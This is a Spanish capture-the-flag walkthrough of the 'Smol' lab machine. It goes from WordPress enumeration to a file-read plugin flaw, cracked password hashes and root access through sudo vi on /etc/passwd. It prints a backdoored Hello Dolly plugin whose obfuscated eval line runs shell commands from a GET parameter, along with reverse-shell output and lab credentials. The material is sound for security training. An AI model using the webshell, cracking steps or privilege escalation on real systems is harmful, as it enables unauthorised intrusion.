Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-04 05:47 EDT
Nmap scan report for 192.168.1.169
Host is up (0.00044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://www.smol.hmv
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:D5:03:1C (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds
Vemos que tiene una pagina web alojada en el puerto 80, pero ya de primeras vemos que nos redirije al siguiente dominio llamado www.smol.hmv por lo que lo añadiremos a nuestro archivo hosts:
Lo guardamos y volveremos a cargar la pagina, veremos lo siguiente:
Veremos que ahora si funciona, si bajamos al footer veremos que esta hosteado por wordpress por lo que vamos a realizar un escaneo con la herramienta llamada wpscan.
wpscan
Info:
Veremos varios usuarios, ahora vamos a ver si sacamos la contraseña alguno:
users.txt
Info:
No veremos que consigamos ninguna credencial, pero veremos la siguiente seccion de plugins los cuales pueden ser vulnerables:
Vamos a buscar si tuviera alguna vulnerabilidad dicho plugin, veremos que si hay una vulnerabilidad y nos muestra el POC de dicha vulnerabilidad:
Por lo que tendremos que ajustarlo a nuestras necesidades, quedando de la siguiente forma:
Si nos metemos aqui para poder ver el archivo llamado wp-config.php, veremos que nos deja:
Por lo que si intentamos leer el archivo passwd veremos que tambien nos deja:
Info:
Vemos varios usuarios en el sistema:
Viendo respecto al ID que tiene cada uno, podemos saber que el primero el haberse creado es think por lo que vamos a probar fuerza bruta con dicho usuario.
Si probamos a conectarnos mediante ssh para probar, veremos lo siguiente:
Info:
Vemos que requiere de una clave PEM por lo que vamos a probar a leer una id_rsa de algun usuario, pero veremos que no podremos, por lo que vamos a utilizar la anterior informacion que obtuvimos con el archivo wp-config.php para intentar iniciar sesion en wordpress.
Y metemos como credenciales lo siguiente:
Veremos que si funciona y estaremos dentro, pero no somos administradores, por lo que vamos a realizar fuzzing para ver que plugins hay y poder leerlos.
Info:
Veremos que nos ha encontrado un archivo llamado wp-content/plugins/hello.php por lo que vamos a intentar leerlo con dicha vulnerabilidad:
Info:
Veremos que funciona y en esta parte estamos viendo algo interesante:
Que decodificado quedaria asi:
Escalate user www-data
Veremos que esta en un codigo de direccion de memoeria en little endian (octal y hexadecimal), que quedaria asi:
\143 (octal) = c
\155 (octal) = m
\x64 (hex) = d
Palabra: cmd
Por lo que vemos podremos ejecutar comando mediante ese parametro, por lo que nos generaremos una reverse shell de la siguiente forma:
Lo guardamos y haremos lo siguiente:
Abriremos un servidor de python3:
Ahora nos pondremos a la escucha:
Y seguidamente ejecutaremos lo siguiente:
Si volvemos a donde tenemos la escucha veremos lo siguiente:
Veremos que ha funcionado, por lo que seremos dicho usuario, ahora vamos a sanitizar la shell.
Sanitizacion de shell
Escalate user diego
Nos acordamos de que tenemos las credenciales para poder entrar en mysql, vamos a ver si encontramos credenciales registradas de algun usuario del sistema en dicha base de datos.
Dentro seleccionaremos dicha base de datos:
Ahora vamos a ver la DDBB de la tabla usuarios.
Info:
Vemos que la mayoria de nombres estan en el sistema, por lo que vamos a intentar crackear alguna contraseña.
Vamos a crear un listado de hashes para intentar crackearlos:
hash
Info:
Vemos que ha funcionado y obtendremos unas credenciales, por lo que vamos a intentar conectarnos por SSH para tener una mejor shell.
Pero antes tendremos que escalar a diego para generarnos una clave PEM ya que solo podemos entrar por eso.
Metemos como contraseña sandiegocalifornia, por lo que leeremos la flag del usuario.
user.txt
Escalate user think
Si listamos las carpetas de la /home veremos lo siguiente:
Info:
Vemos que esta dentro del grupo internal y si vemos a que grupo pertenecemos, veremos lo siguiente:
Info:
Vemos que pertenecemos, por lo que podremos entrar dentro de las carpetas de la home, si investigamos veremos una en concreto bastante interesante, que seria la del usuario think, vemos que tiene una clave PEM en la que podremos meternos y leerla.
Veremos que nos deja, por lo que nos copiaremos el id_rsa pasandolo a nuestro host.
Maquina HOST
Lo guardamos y establecemos los permisos necesarios.
Ahora nos vamos a conectar por SSH mediante la clave PEM.
SSH
Info:
Echo esto veremos que estamos dentro.
Escalate user gege
Despues de una busqueda intensiva, si leemos el siguiente archivo veremos lo siguiente:
Info:
Vemos que si ahora realizamos lo siguiente podremos escalar a dicho usuario sin ningun tipo de password, por lo que haremos lo siguiente:
Y con esto ya seremos dicho usuario.
Escalate user xavi
Si vemos nuestra home veremos el siguiente archivo wordpress.old.zip, si intentamos descomprimirlo veremos que nos pide una contraseña, por lo que vamos a probar a crackear la contraseña de la siguiente forma.
Vamos abrir un servidor de python para pasarnos el archivo a nuestro host.
Ahora en nuestro host haremos lo siguiente:
Una vez que ya tengamos el archivo obtendremos el hash del ZIP.
Vamos a crackearlo con john de la siguiente forma:
Info:
Veremos que hemos obtenido la contraseña de forma correcta, por lo que vamos a utilizarla ahora para descomprimir dicho archivo.
Ahora si entramos en la carpeta descomprimida, veremos el famoso archivo de configuracion para la conexion de la DDBB a wordpress, pero si lo leemos veremos que tiene otras credenciales, en este caso el del usuario xavi.
Info:
Veremos esta parte interesante aqui:
Por lo que vemos las credenciales seran:
Por lo que las probaremos:
Metemos como contraseña P@ssw0rdxavi@ y veremos que seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Veremos que podemos editar el archivo passwd con el editor de texto llamado vi como el usuario root, por lo que haremos lo siguiente:
Guardamos el archivo y ahora realizaremos lo siguiente:
Info:
Y con esto ya seremos root por lo que leeremos la flag de root.
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/documentation/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wpuser' );
/** Database password */
define( 'DB_PASSWORD', 'kbLSF2Vop#lw3rjDZ629*Z%G' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/documentation/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
<?php
/**
* @package Hello_Dolly
* @version 1.7.2
*/
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/
function hello_dolly_get_lyric() {
/** These are the lyrics to Hello Dolly */
$lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, take her wrap, fellas
Dolly, never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, golly, gee, fellas
Have a little faith in me, fellas
Dolly, never go away
Promise, you'll never go away
Dolly'll never go away again";
// Here we split it into lines.
$lyrics = explode( "\n", $lyrics );
// And then randomly choose a line.
return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}
// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
$chosen = hello_dolly_get_lyric();
$lang = '';
if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
$lang = ' lang="en"';
}
printf(
'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
__( 'Quote from Hello Dolly song, by Jerry Herman:' ),
$lang,
$chosen
);
}
// Now we set that function up to execute when the admin_notices action is called.
add_action( 'admin_notices', 'hello_dolly' );
// We need some CSS to position the paragraph.
function dolly_css() {
echo "
<style type='text/css'>
#dolly {
float: right;
padding: 5px 10px;
margin: 0;
font-size: 12px;
line-height: 1.6666;
}
.rtl #dolly {
float: left;
}
.block-editor-page #dolly {
display: none;
}
@media screen and (max-width: 782px) {
#dolly,
.rtl #dolly {
float: none;
padding-left: 0;
padding-right: 0;
}
}
</style>
";
}
add_action( 'admin_head', 'dolly_css' );
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [192.168.1.169] 38262
bash: cannot set terminal process group (818): Inappropriate ioctl for device
bash: no job control in this shell
www-data@smol:/var/www/wordpress/wp-admin$ whoami
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sandiegocalifornia (diego)
1g 0:00:01:00 DONE (2025-04-08 02:35) 0.01660g/s 21865p/s 21865c/s 21865C/s sandr1ta..sandervandoorn
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
su diego
45edaec653ff9ee06236b7ce72b86963
ls -la /home
total 24
drwxr-xr-x 6 root root 4096 Aug 16 2023 .
drwxr-xr-x 18 root root 4096 Mar 29 2024 ..
drwxr-x--- 3 diego internal 4096 Apr 8 06:39 diego
drwxr-x--- 2 gege internal 4096 Aug 18 2023 gege
drwxr-x--- 5 think internal 4096 Jan 12 2024 think
drwxr-x--- 2 xavi internal 4096 Aug 18 2023 xavi
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 08 Apr 2025 06:48:02 AM UTC
System load: 0.17 Processes: 205
Usage of /: 55.9% of 9.75GB Users logged in: 0
Memory usage: 32% IPv4 address for enp0s17: 192.168.1.169
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
162 updates can be applied immediately.
125 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
think@smol:~$ whoami
think
cat /etc/pam.d/su | grep "gege"
auth [success=ignore default=1] pam_succeed_if.so user = gege
su gege
python3 -m http.server 8000
wget http://<IP>:8000/wordpress.old.zip
zip2john wordpress.old.zip > hash.zip
john --wordlist=<WORDLIST> hash.zip
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hero_gege@hotmail.com (wordpress.old.zip)
1g 0:00:00:00 DONE (2025-04-08 05:42) 1.785g/s 13611Kp/s 13611Kc/s 13611KC/s hesse..hermosa_jessy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
unzip wordpress.old.zip
cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/documentation/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'xavi' );
/** Database password */
define( 'DB_PASSWORD', 'P@ssw0rdxavi@' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/documentation/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', true );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'xavi' );
/** Database password */
define( 'DB_PASSWORD', 'P@ssw0rdxavi@' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
User: xavi
Pass: P@ssw0rdxavi@
su xavi
Matching Defaults entries for xavi on smol:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User xavi may run the following commands on smol:
(ALL : ALL) /usr/bin/vi /etc/passwd
sudo vi /etc/passwd
#Dentro del vi
root::0:0:root:/root:/usr/bin/bash #Quitaremos la "x" para quitarle la contraseña a root